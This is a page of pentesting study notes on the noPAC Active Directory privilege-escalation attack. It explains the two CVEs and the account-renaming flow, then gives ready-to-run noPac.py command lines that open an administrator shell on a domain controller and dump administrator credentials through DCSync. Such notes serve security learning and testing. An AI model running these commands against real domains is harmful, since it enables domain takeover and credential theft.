RIO
  • Welcome
    • RIO
    • Useful Links
  • PENTESTING
    • Methodology
    • Protocols
      • FTP
      • SMB
      • NFS
      • SSH
      • RDP
      • SMTP
      • IMAP / POP3
      • RSYNC
      • SNMP
      • IPMI
      • R-Services
      • WinRM
      • WMI
      • LDAP
    • Databases
      • MySQL
      • MSSQL
      • Oracle TNS
      • PostgreSQL
    • File Transfers
      • Windows
      • Linux
      • Code
      • Misc
    • Password Attacks
      • John The Ripper
      • Hashcat
    • Docker
  • TOOLS
    • Nmap
    • Metasploit
    • BloodHound
    • Other
  • Linux
    • Theory
    • Commands and Utilities
      • Useful Commands
    • Bash Scripting
    • Post-Exploitation
      • Cred Hunting
      • Pivoting
    • Privilege Escalation
  • WINDOWS
    • Theory
      • Security
    • Commands and Utilities
    • PowerShell
    • Post-Exploitation
      • Tools
      • Enumeration
        • System
        • Network
        • Users
        • Groups
        • Processes / Services
        • Permissions
        • Defence
        • Programs
        • Files
      • Access
      • Pivoting
      • Cred Hunting
    • Privilege Escalation
      • Privileges
      • Built-In Groups
        • Backup Operators
        • Server Operators
        • Print Operators
        • DnsAdmins
        • Event Log Readers
      • Privilege Abuse
        • Potatoes
        • SeDebugPrivilege
        • SeTakeOwnershipPrivilege
      • MISC
        • UAC Bypass
        • User-Interaction Attacks
        • Weak Permissions
  • ACTIVE DIRECTORY
    • Theory
      • Terminology
    • Reconnaissance
      • Responder
      • Password Policies
      • DNS
      • Enumeration
        • Users
        • Groups
          • GPO's
        • Shares
        • Domain
        • Trusts
        • ACL
    • Movement
      • Credentials
        • Dumping
          • DCSync
        • Making a Target List
        • Spraying
        • Powershell Remoting
      • Kerberos
        • Kerbrute
        • Kerberoasting
          • Semi-Manual Way
          • Targeted Kerberoasting
        • ASREProasting
        • Forging
          • Golden Ticket
        • Overpass The Hash
        • Pass The Ticket
        • noPAC
      • MITM / Coerced Auths
        • LLMNR, NBT-NS Poisoning
        • PetitPotam
      • DACL Abuse
        • AddMember
        • ForceChangePassword
      • Trust Abuse
        • ExtraSIDs
      • ADCS
      • Printers
        • PrintNightmare
    • Tools
  • Networking
    • Theory
      • Types / Topologies
      • OSI & TCP/IP Models
      • TCP / UDP
      • MAC Addresses
      • IP / Subnetting
      • Proxies
      • ARP
    • Pivoting
      • Port-Forwarding
    • Commands and Utilities
    • Techniques
  • WEB
    • Web Recon
      • Fuzzing
    • DNS
  • CLOUD
    • Google GKE/GCP
      • Theory
Powered by GitBook
On this page
  • ABOUT
  • CVE-2021-42278
  • CVE-2021-42287
  • Prerequisites
  • FLOW
  • LINUX
  • RESOURCES
  1. ACTIVE DIRECTORY
  2. Movement
  3. Kerberos

noPAC

ABOUT

Novemer 2021, it was discovered that combination of two vulnerabilities could allow domain escalation from a standart user.

CVE-2021-42278

Name Impersonation vulnerability. Was caused because of absence of checking $ after computer account name (because of sAMAccountName attribute).

CVE-2021-42287

When requesting a ST, you should present a TGT. When ST is not found by KDC, it searches again with $. So imagine if we found TGT for user bob, then bob gets deleted, so it searches for bob$. If it exists, we could obtain ST for bob$.

Prerequisites

  • Authenticated low-privileged AD user

  • Unpatched DC vulnerable to both CVEs

  • Attacker can create machine accounts (default: 10 per user)

FLOW

  1. Make / Rename pc account with similar name to DC but with $

  2. Ask for TGT for this user

  3. Delete / Change back name of pc account

  4. Use that TGT to request for TGS

  5. TGS checks who ownes that TGT. Checks original name, empty (Cause we deleted/changed name). so it tries same name but with $

  6. Success, KDC thinks that you're TGT is DC's TGT

LINUX

Scanning for noPAC

sudo python3 scanner.py militech.local/sreed:passsword123 -dc-ip 13.13.13.13 -use-ldap

Running noPAC & Shell

sudo python3 noPac.py MILITECH.LOCAL/sreed:password123 -dc-ip 13.13.13.13 -dc-host MILITECH-EA-DC01 -shell --impersonate administrator -use-ldap

Session would be made with impacket's smbexec

Also noPAC would save TGT in local directory

DCSync using noPAC

sudo python3 noPac.py MILITECH.LOCAL/sreed:password123 -dc-ip 13.13.13.13  -dc-host MILITECH-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user MILITECH/administrator

Basically we just changed -shelll parameter with -dump

RESOURCES

PreviousPass The TicketNextMITM / Coerced Auths

For executing this vuln from Linux we need this exploit:

[LINK]
sAMAccountName spoofing | The Hacker Recipes
Logo